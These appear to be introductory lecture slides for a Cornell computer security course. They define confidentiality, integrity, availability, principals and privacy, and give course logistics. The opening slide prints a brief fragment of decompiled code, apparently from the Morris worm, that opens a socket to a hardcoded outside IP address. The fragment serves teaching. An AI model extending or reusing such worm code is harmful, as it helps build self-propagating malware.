static report_breakin(arg1, arg2) /* 0x2494 */
{
    int s;
    struct sockaddr_in sin;
    char msg;

    if (7 != random() % 15)
        return;

    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = REPORT_PORT;
    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));
    /* <env+77>"128.32.137.13" */
Defining security

A computer system is *secure* when it
• does what it should
• and nothing more.

A security *policy* stipulates what should and should not be done.

Policies are formulated in terms of three kinds of security *properties*...
Confidentiality
Integrity
Availability
Security properties

• **Confidentiality**: protection of assets from unauthorized disclosure

• **Integrity**: protection of assets from unauthorized modification

• **Availability**: protection of assets from loss of use

[Common Criteria, ISO/IEC 15408]
Confidentiality

Protection of assets from unauthorized disclosure

**Assets:** information, resources, ... *(more to come)*

**Disclosure:** to a person, a program, a system, ...
**Principal**

A *principal* is an entity who can take actions

- person
- program
- system
- ...

Not to be confused with *principle*—a fundamental truth or basis *(more to come)*
Confidentiality

Protection of assets from unauthorized disclosure i.e., which principals are allowed to learn what

Secrecy is a synonym for confidentiality
Privacy

Privacy is confidentiality of information about individuals (people, organizations, etc.)

• Often construed as legal right

• Privacy is not a synonym for confidentiality or for secrecy
Confidentiality properties

Examples:

• Keep contents of a file from being read (*access control*: more later)

• Keep information secret (*information flow*: more later)
  – value of variable secret
  – behavior of system
  – information about individual
Integrity

Protection of assets from unauthorized modification

i.e., what changes are allowed to system and its environment, including inputs and outputs
Integrity properties

Examples:
• Output is correct according to (mathematical) specification
• No exceptions thrown
• Resource consumption is bounded
• Only certain principals may write to a file (access control)
• Data are not corrupted or tainted by downloaded programs (information flow)
Availability

Protection of assets from loss of use
i.e., what has to happen when/where

Denial of service (DoS) attacks compromise availability
Availability properties

Examples:

• Operating system must accept inputs periodically
• Program must produce output by specified time
• Requests must be processed fairly (order, priority, etc.)
Security properties

• **Confidentiality**: protection of assets from unauthorized disclosure
• **Integrity**: protection of assets from unauthorized modification
• **Availability**: protection of assets from loss of use

This course focuses on C and I, not A
EXERCISE: SECURITY PROPERTIES
LOGISTICS
Course website

http://www.cs.cornell.edu/Courses/cs5430/2016sp/

- **Full syllabus** (required reading)
- Various reading materials: slides, notes, links to online readings, pointers to text book chapters
  - Optional? Yes. But...
    - the more of these you read, the more you will get out of the course
    - assignments are often inspired by this material
  - Lectures are the ground truth for material we cover
Course staff

Instructor: Michael Clarkson
• PhD 2010 Cornell University
• Research areas: security and programming languages
• I go by “Prof. Clarkson” in this course

TA: Kevin Seqniki (PhD student working on security and cryptography)
Consultants: Laura Herrle, Tania Tocalini, Sandeep Vanka, Richard Zhang (undergrad/MEng students who took this class before and did well)

Office and consulting hours will be posted on Piazza
Practicum

• The practicum, CS 5431, is an additional 2-credit programming project and discussion based course
  – It's a lot more work
  – It's a lot of fun

• If you want to know more about it, come on Friday to the first practicum meeting
  – But the room won't hold all of you, so please come only if you're seriously considering taking it
Class meetings

• **5430 lectures:** MW 10:10-11:25, Gates G01
  – no 5430 lectures on Fridays :)

• **5431 discussions:** F 10:10-11:25, Hollister 320
Communication

• Piazza is the preferred way for you to contact the course staff

• Email tends to be a poor choice to contact me
  – It's a DoS problem really

• Come talk to me in person!
Upcoming events

• [Wed-Thu pm] Drop by my office in the afternoon if you need something immediately
• [Fri] First practicum meeting; please try to hold questions about 5431 until then
• [Mon] First assignment out; consulting and regular office hours start

"There is no security on this earth; there is only opportunity." – Douglas MacArthur